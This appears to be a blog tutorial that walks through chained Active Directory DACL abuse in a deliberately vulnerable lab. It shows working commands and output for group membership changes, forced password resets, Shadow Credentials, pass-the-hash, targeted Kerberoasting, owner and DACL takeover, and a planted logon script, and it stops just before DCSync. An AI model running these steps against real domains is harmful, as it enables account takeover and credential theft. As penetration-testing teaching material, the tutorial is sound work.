Introduction
In the previous article, we discussed Windows Access Control Lists (ACLs) and how they, in conjunction with Access Control Entries (ACEs), work to define privileges. Today, we'll explore the exploitation of insecure ACEs within the DACL of users and groups in an Active Directory environment.
Note
Before reading this article, I highly recommend going through my previous ones, where I introduce Kerberos and ACLs. These articles cover essential concepts that will help you fully understand the content of this article.
ACLs, DACL and ACEs
Before diving into ACL exploitation, let’s quickly recap the core concepts from the previous article.
Access Control Lists (ACLs) are a fundamental security mechanism in Windows that define who can access specific resources and what actions they are allowed or denied to perform. An ACL is essentially a list of rules attached to an object (such as files, registry keys, or Active Directory objects) that controls access based on user identities or groups.
A Discretionary Access Control List (DACL) is the most relevant type of ACL for our discussion. It specifies which users or groups have access to an object and what actions they can perform. Each rule within a DACL is called an Access Control Entry (ACE), which either grants or denies permissions to a principal (user, group, or process).
By understanding how ACLs, DACLs, and ACEs work together, we can now explore how misconfigurations can be exploited to escalate privileges or gain unauthorized access within an Active Directory environment.
Generic ACEs vs. Object-Specific ACEs
Access Control Entries (ACEs) are the rules within an Access Control List (ACL) that determine who can or cannot interact with a resource. Each ACE identifies a user or group, specifies the permissions granted or denied, and defines how these rules are inherited by sub-items.
- Generic ACEs apply standard permissions such as Read, Write, Execute, or Full Control across different types of objects. These ACEs simplify access management by assigning broad permissions without focusing on specific object attributes.
- Object-Specific ACEs provide finer control, allowing permissions to be set on particular parts of an object. For example, in Active Directory, a user might be allowed to update only their phone number while being restricted from modifying other account attributes.
Understanding Generic ACEs and How They Work
Generic ACEs simplify permission management by grouping common access rights into broad categories. Instead of defining detailed access rules for every object type, Generic ACEs provide a standardized way to control access using predefined permission sets. These permissions are commonly used in file systems, registry keys, and Active Directory objects.
How Generic ACEs Work
Each Generic ACE defines a set of common operations that can be applied to different object types. These permissions correspond to specific bits within the AccessMask field of an ACE, allowing or denying specific actions for a user or group.
The main types of Generic ACEs are:
- GENERIC_READ – Grants read access to the object, allowing users to view its contents but not modify it.
- GENERIC_WRITE – Grants write access, allowing modifications to the object, such as changing a file’s content or updating an attribute in Active Directory.
- GENERIC_EXECUTE – Allows execution of the object, commonly used for running applications or scripts.
- GENERIC_ALL – Grants full control over the object, including reading, writing, executing, and modifying permissions.
How They Translate to Specific Permissions
When a Generic ACE is applied, Windows translates it into a set of more detailed Standard and Specific Rights depending on the type of object. For example:
- In a file system, GENERIC_READ maps to permissions like "Read Data" and "List Directory."
- In Active Directory, GENERIC_WRITE might allow modifying certain attributes of an object but not changing its owner.
Understanding Object-Specific ACEs and Their Functionality
While Generic ACEs provide broad permissions, Object-Specific ACEs allow for fine-grained control over specific parts or attributes of an object. These ACEs are particularly useful in complex environments like Active Directory, registry keys, and certain file systems, where different users may need different levels of access to specific properties rather than the entire object.
How Object-Specific ACEs Work
Object-Specific ACEs include additional metadata that allows administrators to define permissions for specific attributes or components of an object. Unlike Generic ACEs, which apply the same broad permissions to all objects, Object-Specific ACEs can target:
- Individual properties or attributes (e.g., a user can update their phone number but not their department in Active Directory).
- Subcomponents of an object (e.g., a user has access to edit a registry key’s value but cannot modify its security settings).
- Inherited rules that define how permissions apply to child objects within a hierarchy.
Examples of Object-Specific ACEs in Action:
- A user may be allowed to edit their own phone number but not change their group memberships.
- An administrator might grant help desk staff the ability to reset user passwords but not modify account ownership.
By leveraging Object-Specific ACEs, administrators can tailor permissions to meet security and operational needs while minimizing risk, ensuring that users and processes only have the access they truly require.
Exploitation - Theory
However, as always, improperly assigned privileges can introduce security risks if not handled carefully. Let's imagine some scenarios:
1. GenericWrite on a User
Suppose you obtain credentials for a user called bob
. bob
has GenericWrite permissions on karl
, meaning bob
can modify any attribute of karl
that is not explicitly protected. An attacker could exploit this by modifying karl
’s scriptPath
attribute to execute a malicious script the next time karl
logs in, leading to privilege escalation.
2. ForceChangePassword on a User
Now suppose bob
has ForceChangePassword over karl
, this means he can reset karl
's password without knowing the old one. If karl
is a privileged user, this effectively gives bob
control over karl
’s account.
3. GenericAll on a Group
If bob
has GenericAll permissions over the "IT Admins" group, he essentially has full control over it. This allows him to add himself to the group, granting him all privileges associated with it—including administrative rights in some cases.
3. WriteDACL on a Computer Object
If bob
has the WriteDACL permission on a user object in Active Directory, he gains the ability to modify the Discretionary Access Control List (DACL) associated with that object. This allows him to grant himself additional privileges, such as GenericAll
, which provides full control over the user account. By exploiting this, bob
could potentially alter the account's properties, reset passwords, or take complete control of the user's permissions, ultimately compromising the security of the account and potentially escalating his privileges within the domain.
Exploitation - Practice
Today, I have set up a deliberately vulnerable lab where we will exploit a chain of insecure DACLs to escalate privileges and gain access to the Administrator account in an Active Directory environment.
Initially, let's imagine an scenario where we obtain credentials for the joel
user. With valid credentials, we can start the enumeration process to identify dangerous privileges.
There are several tools available for enumerating potentially exploitable ACLs. In this case, we’ll use BloodHound
.
BloodHound
BloodHound
is a powerful tool used for Active Directory enumeration, allowing attackers and defenders to visualize relationships and privilege misconfigurations that could lead to privilege escalation. It maps out trust relationships, user permissions, and ACL misconfigurations, making it easier to identify exploitable attack paths.
To collect data for BloodHound
, we use SharpHound
, a C#-based data collector that gathers information about users, groups, ACLs, sessions, and other AD components.
Once the data is ingested into BloodHound
, we can search for relationships where a low-privileged user has WriteDACL, GenericWrite, or GenericAll over a privileged account or group. If such a path exists, an attacker could escalate privileges by modifying ACLs to gain control over a high-value target, such as a Domain Admin account.
There are two ways to run SharpHound: locally and remotely. The local method requires direct access to a machine, such as a reverse shell or any means that allows program execution on the target system. The remote method involves using bloodhound-python
, a Python-based alternative to SharpHound, which can gather information without being executed on a domain-joined machine.
When deciding between SharpHound and bloodhound-python, your access level to the target environment plays a crucial role.
-
Local Execution (SharpHound): If you have an interactive session on a domain-joined machine—whether through a reverse shell, RDP access, or any other method that allows execution—you can run
SharpHound.exe
directly to gather ACL-related data. This method provides the most comprehensive results, as it collects information from Active Directory via LDAP queries and local enumeration.
-
Remote Execution (bloodhound-python): If you lack direct execution capabilities on a domain-joined machine, you can use
bloodhound-python
, a Python-based alternative that performs LDAP queries remotely. While it doesn't provide session data (like which users are logged into which machines), it is still effective for enumerating groups, users, and ACL misconfigurations from an external system. However, this method requires valid credentials within the domain in order to authenticate to the LDAP server.
The SharpHound.exe
method has some drawbacks. For instance, if uploaded directly to the victim machine, it could be detected by antivirus software. While executing it from memory can help evade AV detection, other security measures might still be in place, so caution is advised when running it.
In our case, we will opt for the python alternative since, in our scenario, we lack direct access to a domain-joined machine.
elswix@ubuntu$ bloodhound-python -c all -u joel -p P4ssw0rd2! -ns 192.168.100.3 --zip -d elswixcorp.local -dc dc01.elswixcorp.local
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: elswixcorp.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.elswixcorp.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc01.elswixcorp.local
INFO: Found 13 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Workstation02.elswixcorp.local
INFO: Querying computer: Workstation01.elswixcorp.local
INFO: Querying computer: dc01.elswixcorp.local
INFO: Done in 00M 01S
INFO: Compressing output into 20250219191816_bloodhound.zip
Once the scan is complete, the results are saved in a ZIP file—in this case, 20250219191816_bloodhound.zip
.
Now, let's open this file in BloodHound (if you're unsure how to do it, you can refer to this article)
As observed, the recollected data was successfully parsed, and now, we can start with the results analysis.
There are many queries we can execute to identify potential privilege escalation paths. Initially, I'll look for the user we already have access which is joel
.
When inspecting the groups this user belongs to, we notice there is nothing interesting:
Upon clicking on Reachable High Value Targets, a very large attack path is revelated:
Of course, this is a deliberately, ctf like, vulnerable lab. While you won’t encounter such a scenario in real life, it provides a solid environment for practicing DACL abuse.
Understanding the discovered attack path:
- Joel has
GenericAll
over the IT Managers group. - Members of IT Managers have
ForceChangePassword
over arthur. - arthur has
GenericWrite
over john. - john has
WriteSPN
over ellie. - ellie has
WriteOwner
over elswix. - Finally, elswix has
AllExtendedRights
over the domain.
Exploitation
In this article, I'll demonstrate how to exploit misconfigurations in ACLs remotely. While these attacks can also be reproduced locally through a reverse shell, I’ve chosen to focus on the remote approach for this example. In upcoming articles, we'll cover the local exploitation of similar scenarios.
GenericAll on IT Managers
Initially, we'll exploit the GenericAll
privilege over the IT Managers group. The easiest way to abuse this is by adding our user to the IT Managers group. This allows us to inherit the group's privileges and subsequently use them to change arthur
's password.
There are many tools that allow you to add a user to a specific group. I'll show you two methods.
Using net rpc
:
First, we'll retrieve the current members of IT Managers:
elswix@ubuntu$ net rpc group members "IT Managers" -U 'ELSWIXCORP/joel%P4ssw0rd2!' -S 192.168.100.3
ELSWIXCORP\claire
ELSWIXCORP\chris
Now, let's attempt to add joel
to IT Managers:
elswix@ubuntu$ net rpc group addmem "IT Managers" "joel" -U 'ELSWIXCORP/joel%P4ssw0rd2!' -S 192.168.100.3
If everything worked as expected, listing the members of IT Managers should now show that joel
is a member:
elswix@ubuntu$ net rpc group members "IT Managers" -U 'ELSWIXCORP/joel%P4ssw0rd2!' -S 192.168.100.3
ELSWIXCORP\claire
ELSWIXCORP\joel
ELSWIXCORP\chris
Great! It worked. Now joel
will inherit all the outbound privileges that IT Managers has.
Using bloodyAD
:
elswix@ubuntu$ bloodyAD --host 192.168.100.3 -u joel -p P4ssw0rd2! add groupMember "IT Managers" joel
[+] joel added to IT Managers
ForceChangePassword on arthur
Now, as joel, we inherit the privileges of the IT Managers group. This means joel has ForceChangePassword
over arthur. Essentially, we can modify arthur's password. Although this could be invasive in a Real-world environment, we're in a lab so we don't have to worry about that.
Againly, there are several tools that allow you to abuse this privilege and modify users' passwords. I'll show you how this can be achieved using net rpc
and bloodyAD
.
Using net rpc
:
elswix@ubuntu$ net rpc password arthur 'P4ssword123!' -U 'ELSWIXCORP.LOCAL/joel%P4ssw0rd2!' -S 192.168.100.3
This sets P4ssword123!
as the new password for arthur
.
Using bloodyAD
:
elswix@ubuntu$ bloodyAD --host 192.168.100.3 -u joel -p P4ssw0rd2! set password arthur 'P4ssword123!'
[+] Password changed successfully!
You can verify whether the password was modified using netexec
:
elswix@ubuntu$ nxc smb 192.168.100.3 -u arthur -p P4ssword123!
SMB 192.168.100.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.3 445 DC01 [+] elswixcorp.local\arthur:P4ssword123!
Great! The password has been changed successfully.
GenericWrite over John
As shown in BloodHound, Arthur has the GenericWrite permission over John. This means Arthur can modify John's non-protected attributes, among others. While GenericWrite does not allow modifying a user's password directly, it is possible to leverage other attributes to gain access to John's account.
There are multiple ways to abuse GenericWrite. One example is modifying the scriptLogon
attribute, which specifies the path to a logon script. When the user logs into the computer, the script is executed, potentially allowing you to gain access to the system as that user.
However, this approach requires user interaction, as the user must log into the computer for the script to execute. You could create a scheduled task to automate the authentication process, but there's also another way to exploit this.
Shadow Credentials
Shadow Credentials is a technique that allows an attacker to set an alternative key for authenticating as another user in Active Directory. This is achieved by abusing the msDS-KeyCredentialLink attribute, which stores public keys used for modern authentication methods. If an attacker has GenericWrite over a user, they can modify this attribute to associate their own key, enabling authentication without changing the target user's password.
This method is stealthy, as it does not trigger password change events and can evade many traditional monitoring solutions.
As always, there are couple of tools to carry out the same attack. In this case, I'll use pywhisker, which is the python alternative to the original Whisker, which is a tool designed to exploit Shadow Credentials by generating and injecting key-based authentication material into the msDS-KeyCredentialLink attribute of a target user. Whisker
automates the process of generating a certificate, adding the corresponding public key to the target account, and allowing the attacker to authenticate as that user without knowing their password.
pywhisker
replicates this functionality in Python, making it more flexible for various environments and reducing the need for direct execution on a Windows machine.
elswix@ubuntu$ pywhisker --action add -d elswixcorp.local -u arthur -p 'P4ssword123!' --dc-ip 192.168.100.3 -t john
[*] Searching for the target account
[*] Target user found: CN=John,CN=Users,DC=elswixcorp,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a34e80cc-6fb7-1c5a-f023-e4535c0dbbae
[*] Updating the msDS-KeyCredentialLink attribute of john
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: jPkjXpLo.pfx
[*] Must be used with password: sUPJIoebvkwrDSvQE0fr
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Great, it worked perfectly! As seen in the output, pywhisker
successfully saved a PFX certificate named jPkjXpLo.pfx
, with the password sUPJIoebvkwrDSvQE0fr
. Additionally, it suggests using PKINITtools
to leverage the PFX
certificate to obtain a TGT for john.
I'll start by cloning the repository and running the gettgtpkinit.py
script. This script uses a PFX
certificate as an authentication method, allowing us to authenticate to the Domain Controller (DC) and obtain a TGT for john.
elswix@ubuntu$ python /opt/PKINITtools/gettgtpkinit.py -cert-pfx jPkjXpLo.pfx -pfx-pass sUPJIoebvkwrDSvQE0fr -dc-ip 192.168.100.3 elswixcorp.local/john john.ccache
2025-02-20 11:40:54,717 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-20 11:40:54,735 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
File "/opt/PKINITtools/gettgtpkinit.py", line 349, in <module>
main()
File "/opt/PKINITtools/gettgtpkinit.py", line 345, in main
amain(args)
File "/opt/PKINITtools/gettgtpkinit.py", line 315, in amain
res = sock.sendrecv(req)
File "/opt/venv/lib/python3.10/site-packages/minikerberos/network/clientsocket.py", line 85, in sendrecv
raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError: Error Name: KRB_AP_ERR_SKEW Detail: "The clock skew is too great"
Oh, something went wrong! The communication returned a KRB_AP_ERR_SKEW
error. This happens because our system clock is not synchronized with the DC—the time difference exceeds the allowed 5-minute threshold. To fix this, we can simply synchronize our clock with the DC using ntpdate
.
root@ubuntu$ ntpdate 192.168.100.3
2025-02-20 16:30:44.963944 (-0300) +17196.437578 +/- 0.001233 192.168.100.3 s1 no-leap
CLOCK: time stepped by 17196.437578
Now, let's try running the script again:
elswix@ubuntu$ python /opt/PKINITtools/gettgtpkinit.py -cert-pfx jPkjXpLo.pfx -pfx-pass sUPJIoebvkwrDSvQE0fr -dc-ip 192.168.100.3 elswixcorp.local/john john.ccache
2025-02-20 16:31:41,020 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-20 16:31:41,037 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-20 16:31:41,060 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-02-20 16:31:41,060 minikerberos INFO 918fca40477c90a0ea14f83ef8a53961f39d2cc6709a24036cc93c89ca66cdc6
INFO:minikerberos:918fca40477c90a0ea14f83ef8a53961f39d2cc6709a24036cc93c89ca66cdc6
2025-02-20 16:31:41,063 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
Great! This time, we successfully obtained a TGT, which has been saved in the john.ccache
file. Now, we can use it as an authentication method for john.
You could use john.ccache
as an authentication method, and it would work seamlessly:
elswix@ubuntu$ nxc smb 192.168.100.3 --use-kcache
SMB dc01 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB dc01 445 DC01 [+] elswixcorp.local\john from ccache
However, you can also attempt to recover john's NT hash using the ccache
file and the AS-REP encryption key returned by gettgtpkinit.py
. To do this, we can leverage getnthash.py
from the PKINITtools suite, which requires the AS-REP encryption key along with the exported ccache
in the KRB5CCNAME
environment variable:
elswix@ubuntu$ export KRB5CCNAME=john.ccache
elswix@ubuntu$ python /opt/PKINITtools/getnthash.py elswixcorp.local/john -key 918fca40477c90a0ea14f83ef8a53961f39d2cc6709a24036cc93c89ca66cdc6
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fdb56c6d2e5c63c544c11eff76dff87a
Now that we have successfully retrieved the NT hash, we can proceed with Pass-The-Hash (PTH):
elswix@ubuntu$ nxc smb 192.168.100.3 -u john -H fdb56c6d2e5c63c544c11eff76dff87a
SMB 192.168.100.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.3 445 DC01 [+] elswixcorp.local\john:fdb56c6d2e5c63c544c11eff76dff87a
The previous example used pywhisker
and PKINITtools
. As mentioned earlier, multiple tools can achieve the same result—even bloodyAD
, which we've already used. However, I want to introduce another approach using certipy
, so you can familiarize yourself with different tools.
Unlike pywhisker
, which modifies the msDS-KeyCredentialLink
attribute and then requires exporting the PFX file, requesting a TGT with gettgtpkinit.py
, and finally retrieving the NT hash with getnthash.py
, certipy
streamlines this entire process. Once a Shadow Credential is added, certipy
automatically retrieves the NT hash, significantly accelerating the attack.
elswix@ubuntu$ certipy shadow auto -username arthur@elswixcorp.local -password 'P4ssword123!' -account john -target 192.168.100.3
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '67be8c9d-fe4e-f3f2-285e-da440a7f0aff'
[*] Adding Key Credential with device ID '67be8c9d-fe4e-f3f2-285e-da440a7f0aff' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID '67be8c9d-fe4e-f3f2-285e-da440a7f0aff' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Using principal: john@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': fdb56c6d2e5c63c544c11eff76dff87a
Pretty amazing, right? Let's keep going.
WriteSPN on ellie
As john, we have WriteSPN
over ellie, which essentially allows us to create or modify the servicePrincipalName
(SPN) attribute for this account.
An SPN is a unique identifier for a service instance within an Active Directory environment. It allows Kerberos authentication to map a service request to the correct account. Typically, service accounts—such as those used by SQL Server, IIS, or other networked services—are assigned SPNs so clients can request authentication tickets for them.
Because we control ellie's SPN, we can register a fake SPN to the account, effectively making it appear as if it were running a legitimate service. This manipulation allows us to request a Service Ticket (ST) from the Key Distribution Center (KDC).
Now, recalling what we've discussed in previous articles, accounts that have an SPN assigned are susceptible to a well-known attack called Kerberoasting. This attack involves requesting a Service Ticket (ST) for a given service. Since STs are encrypted using the NT hash/AES Key of the service account, an attacker can extract them from memory and attempt to brute-force or crack them offline to recover the service account's password.
By leveraging WriteSPN
, we are essentially injecting a vulnerability into ellie's account, turning it into a potential Kerberoasting target under our control.
For this purpose, we will use addspn.py from the krbrelayx repository:
elswix@ubuntu$ python /opt/krbrelayx/addspn.py -u 'elswixcorp.local\john' -p 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:fdb56c6d2e5c63c544c11eff76dff87a' -t ellie --spn 'http/ellie' 192.168.100.3
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
It seems that it worked. Just in case you're wondering why I provided AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:fdb56c6d2e5c63c544c11eff76dff87a
as the password—this is because NTLM authentication requires the LM:NT
hash format. However, in modern systems, the LM (LAN Manager) hash is not relevant for authentication since it is an outdated and insecure hashing method that is disabled by default in newer Windows versions. As a result, we can simply use any 32 random characters for the LM hash and specify the valid NT hash after the :
.
If the SPN was successfully modified, we should now be able to request a Service Ticket (ST) using GetUserSPNs.py
. This will allow us to retrieve a ticket encrypted with the service account’s NT hash, which we can attempt to crack. Let's check it out:
elswix@ubuntu$ GetUserSPNs.py elswixcorp.local/john -hashes :fdb56c6d2e5c63c544c11eff76dff87a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----- -------- -------------------------- --------- ----------
http/ellie ellie 2025-02-20 00:30:50.772860 <never>
As observed, an SPN was found for the account ellie, confirming that the servicePrincipalName
attribute was successfully modified. Now, by using the -request
parameter, we should be able to request and retrieve a Service Ticket (ST) for this SPN.
elswix@ubuntu$ GetUserSPNs.py elswixcorp.local/john -hashes :fdb56c6d2e5c63c544c11eff76dff87a -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----- -------- -------------------------- --------- ----------
http/ellie ellie 2025-02-20 00:30:50.772860 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*ellie$ELSWIXCORP.LOCAL$elswixcorp.local/ellie*$f1a035075b920e02e105ae074f8b9965$24fa59450ee4ef339aec3c607a4c99cb0a33704a25e739b0612...[snip]...df6aaaf974dd4c0b29d71414e17074b80edba63cd636e020d5b77137f05258a16f559033558744
Once we obtain the ST, we can attempt to crack it using tools such as John the Ripper:
elswix@ubuntu$ john -w:$(locate rockyou.txt) hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
@williams2 (?)
1g 0:00:00:04 DONE (2025-02-21 14:28) 0.2137g/s 2453Kp/s 2453Kc/s 2453KC/s A.D.L.M.T..@stewart
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Great! The password was successfully cracked. Now, we can use it to authenticate as ellie:
elswix@ubuntu$ nxc smb 192.168.100.3 -u ellie -p @williams2
SMB 192.168.100.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.3 445 DC01 [+] elswixcorp.local\ellie:@williams2
Note
The success of this attack depends on the complexity of the vulnerable account's password. While you may be able to request an ST, recovering the password depends on whether it exists in the specified wordlist. For example, the krbtgt account could theoretically be vulnerable to a Kerberoasting attack, but its password is typically very strong, randomly generated, and rotated every 180 days—making it practically infeasible to crack.
WriteOwner over elswix
Ellie has WriteOwner
over elswix. This privilege allows us to modify the owner of the account, effectively granting us full control over it. By changing the owner to ourselves, we gain the ability to modify its permissions, including assigning ourselves GenericAll
, which provides complete control over the account.
Initially, let's modify elswix's owner to ellie. To achieve this, we can use owneredit.py
from the Impacket suite:
elswix@ubuntu$ owneredit.py elswixcorp.local/ellie:'@williams2' -new-owner ellie -target elswix -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-913553514-3139970507-907487564-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=elswixcorp,DC=local
[*] OwnerSid modified successfully!
As observed, the script reported that the previous owner of elswix was the Domain Admins group and then modified the ownership. If we run the script again, this time specifying read
for the -action
parameter, we should now see that ellie owns elswix.
elswix@ubuntu$ owneredit.py elswixcorp.local/ellie:'@williams2' -target elswix -action read
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-913553514-3139970507-907487564-1112
[*] - sAMAccountName: ellie
[*] - distinguishedName: CN=ellie,CN=Users,DC=elswixcorp,DC=local
And yes, the ownership of elswix was successfully transferred to ellie.
Now, ellie, as the owner of elswix, can modify its permissions (DACL). This means we can grant ourselves GenericAll
over elswix. To achieve this, I'll use dacledit.py
:
elswix@ubuntu$ dacledit.py elswixcorp.local/ellie:'@williams2' -principal ellie -target elswix -action write -rights FullControl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250221-151351.bak
[*] DACL modified successfully!
It worked! Now, with GenericAll
privileges, we can modify many of elswix's attributes. To gain access as elswix, we could simply abuse Shadow Credentials again. However, I'll demonstrate an alternative method by modifying the scriptPath
attribute.
Logon Scripts and the scriptPath
Attribute
Logon scripts are scripts executed automatically when a user logs into a system. These scripts are typically used for configuring the environment, mapping network drives, updating software, or enforcing security policies.
The scriptPath
attribute in Active Directory specifies the path to a logon script that will be executed upon user login. These scripts are usually stored in the NETLOGON share (\\domain_controller\NETLOGON
), which is replicated across all domain controllers.
Limitations of Using scriptPath
for Exploitation
While modifying the scriptPath
attribute can be used for privilege escalation (by setting it to a malicious script), this method has several drawbacks:
- User Interaction Required – The user must log in for the script to execute.
- Execution Restrictions – Security policies such as execution prevention and GPO restrictions may block the script.
- Visibility – Admins can easily detect and remove unauthorized scripts from NETLOGON.
Additionally, you need write privileges on the NETLOGON
share; otherwise, this technique won't work, as you cannot specify an external directory. You may have seen in some CTFs that it's possible to specify a remote share to host the file. However, this works because a scheduled task runs a script that reads the scriptPath
value and executes it, effectively simulating a logon. This setup is uncommon in real-world environments.
In this case, for the technique to work, ellie
must have write privileges on NETLOGON
. To demonstrate the exploitation process, I have assigned these privileges accordingly.
First, let's create a logon script. This can be a simple .bat
file containing any command we want to execute. For example, I want elswix
to ping my attacker host every time it logs in:
ping 192.168.100.1
I named this file malicious.bat
. Now, let's upload it to the NETLOGON
share. Interestingly, connecting directly to NETLOGON
does not allow me to write files there. However, you can achieve the same result by accessing the SYSVOL
share and navigating to the scripts
folder within elswixcorp.local
:
elswix@ubuntu$ smbclient '//dc01/SYSVOL' -U ELSWIXCORP\\ellie -c "put malicious.bat elswixcorp.local/scripts/malicious.bat"
Password for [ELSWIXCORP\ellie]:
putting file malicious.bat as \elswixcorp.local\scripts\malicious.bat (6.2 kb/s) (average 6.2 kb/s)
Once the logon script is uploaded, I'll use bloodyAD
to modify the scriptPath
attribute of elswix
:
elswix@ubuntu$ bloodyAD --host 192.168.100.3 -u ellie -p @williams2 set object elswix scriptPath -v 'malicious.bat'
[+] elswix's scriptPath has been updated
There's no need to specify the full path to SYSVOL
or NETLOGON
since the system automatically looks for the script within that directory.
To verify whether the script executes upon user login, I'll use tcpdump
to capture ICMP
packets and check if a ping to my host is triggered:
elswix@ubuntu$ sudo tcpdump -i enp0s8 icmp -n
[sudo] password for elswix:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp0s8, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Now, I'll log in as elswix
on a workstation. In a real scenario, this process wouldn’t be controlled by the attacker, but for demonstration purposes, I’ll do it manually.
Finally, I received the ping, confirming that the script was successfully executed when elswix
logged in.
elswix@ubuntu$ sudo tcpdump -i enp0s8 icmp -n
[sudo] password for elswix:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp0s8, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:07:20.211930 IP 192.168.100.4 > 192.168.100.1: ICMP echo request, id 1, seq 1, length 40
15:07:20.212040 IP 192.168.100.1 > 192.168.100.4: ICMP echo reply, id 1, seq 1, length 40
15:07:21.218561 IP 192.168.100.4 > 192.168.100.1: ICMP echo request, id 1, seq 2, length 40
15:07:21.218579 IP 192.168.100.1 > 192.168.100.4: ICMP echo reply, id 1, seq 2, length 40
15:07:22.233123 IP 192.168.100.4 > 192.168.100.1: ICMP echo request, id 1, seq 3, length 40
15:07:22.233143 IP 192.168.100.1 > 192.168.100.4: ICMP echo reply, id 1, seq 3, length 40
15:07:23.264886 IP 192.168.100.4 > 192.168.100.1: ICMP echo request, id 1, seq 4, length 40
15:07:23.264906 IP 192.168.100.1 > 192.168.100.4: ICMP echo reply, id 1, seq 4, length 40
Now, we could simply create a reverse shell payload to gain access to the system. However, I won’t take this approach, as I want to demonstrate how to abuse ACLs remotely. That said, you’re free to try it yourself.
Even though we have achieved command execution on the system, we still lack valid credentials. To obtain them, I'll exploit Shadow Credentials once again to recover the NT hash.
elswix@ubuntu$ certipy shadow auto -username ellie@elswixcorp.local -password '@williams2' -account elswix -target 192.168.100.3
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'elswix'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '46d1f389-b563-d3e0-a082-6a209e054f9b'
[*] Adding Key Credential with device ID '46d1f389-b563-d3e0-a082-6a209e054f9b' to the Key Credentials for 'elswix'
[*] Successfully added Key Credential with device ID '46d1f389-b563-d3e0-a082-6a209e054f9b' to the Key Credentials for 'elswix'
[*] Authenticating as 'elswix' with the certificate
[*] Using principal: elswix@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'elswix.ccache'
[*] Trying to retrieve NT hash for 'elswix'
[*] Restoring the old Key Credentials for 'elswix'
[*] Successfully restored the old Key Credentials for 'elswix'
[*] NT hash for 'elswix': 07d128430a6338f8d537f6b3ae1dc136
Now, we can use this NT hash to authenticate as elswix
.
elswix@ubuntu$ nxc smb 192.168.100.3 -u elswix -H 07d128430a6338f8d537f6b3ae1dc136
SMB 192.168.100.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:elswixcorp.local) (signing:True) (SMBv1:False)
SMB 192.168.100.3 445 DC01 [+] elswixcorp.local\elswix:07d128430a6338f8d537f6b3ae1dc136
AllExtendedRights on DC
As elswix
, we have AllExtendedRights
privileges over the Domain Controller (DC). This allows us to perform a DCSync
attack, enabling us to request and extract all credentials from the domain database. With these credentials, we can ultimately gain access as the Administrator.
To execute this attack, we can use secretsdump.py
